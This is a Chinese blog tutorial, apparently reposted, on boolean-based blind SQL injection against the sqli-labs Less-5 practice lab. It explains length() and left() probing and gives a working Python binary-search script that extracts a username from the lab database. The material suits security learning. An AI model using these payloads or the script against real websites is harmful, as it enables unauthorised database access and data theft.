博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
WEB新手之布尔盲注
阅读量:6734 次
发布时间:2019-06-25

本文共 1312 字,大约阅读时间需要 4 分钟。

  开始写SQL的题,单引号等特殊符号闭合漏洞比较简单,因此从Less-5开始写。

  布尔盲注是多种盲注的一种,这种盲注方法也比较好理解。但使用这种盲注有一个前提,就是网页会有回显,透过这个回显,我们可以通过判断,来获得所需的信息。

  以Less-5为例题,如图所示:

 

  加上id=1,会发现这样的回显,如图所示:

 

  然后利用Less-1~4的知识,发现这里的语句使用单引号闭合的,并且用联合查询语句会依然回显“You are in......”。因此,简单的联合查询语句是行不通的。

  由于存在单引号闭合漏洞,我们可以使用and并且结合相关的语句对数据库信息进行猜测。

  首先得得出数据库长度,利用length()函数,payload如下:

  然后这里发现该语句没有回显,如图所示:

 

  长度不为5,再通过多次尝试,爆出数据库名长度为8,如图所示:

 

  知道了库名长度后,再使用left()函数进行注入。先说一下left()函数,该函数有两个参数,第一参数是需要进行截取的字符串对象,第二个参数是该字符串从左到右的第几个字符。payload如下图所示:

  

  通过一个个的尝试,会发现当left(database(),1)='s'时,回显正常。因此数据库的第一个字符为s,接下来的数据如法炮制。

  当然,如果这样一个个的尝试,犹如大海捞针,因此我们通常使用脚本进行注入。这里使用了二分法,代码如下图所示:

# -*-coding:utf8-*-import requestsurl = "http://localhost:81/SQLI-LABS/sqli-labs-master/Less-5/?id=1%s"payload = "' and ord(mid((select username from users limit 0,1),%s,1))>%s --+"result =''print "start to get the result: "for i in range(1, 20):    max = 122 #z    min = 65 #A    while abs(max-min)>1:        mid = int((max+min)/2)        p = payload % (str(i), str(mid))        response = requests.get(url % p)        if response.content.find("You are in") != -1:            min = mid        else:            max = mid    result = result+chr(max)    print ("the result is %s" % result)

     需要注意的是,这里的%s是字符串占位符,代表一个字符串对象,可以放置不同的字符串。

  最终通过脚本获得flag。

转载于:https://www.cnblogs.com/Buki11/p/10792837.html

你可能感兴趣的文章
洛谷 P3371 【模板】单源最短路径 【链式前向星+SPFA】
查看>>
hdu 1230 火星A+B
查看>>
vijos1144(小胖守皇宫)
查看>>
Tomcat中的Session小结
查看>>
获取windows磁盘的可用空间函数
查看>>
完全二叉树节点个数
查看>>
猜字符小游戏编写步骤(基础练习)
查看>>
Populating Next Right Pointers in Each Node
查看>>
apollo命令
查看>>
GWAS研究可利用的数据库(持续更新)
查看>>
回顾2017,展望2018
查看>>
Shortest Word Distance I,II, III
查看>>
ecshop的特点,持续加新
查看>>
操作系统课程设计 Linux虚拟机安装及Linux常用命令使用
查看>>
全排列
查看>>
今又七夕,可我依然不敢对你说爱
查看>>
Java线程--interrupt join yield setDaemon常用方法的使用
查看>>
C++有关拷贝构造函数(默认/浅/深拷贝构造函数)
查看>>
iOS UITableView滚动头图 拉伸放大效果 (头部弹性效果) 增加iOS11支持 附有demo
查看>>
<转> [读书笔记]《移山之道》的若干读后感
查看>>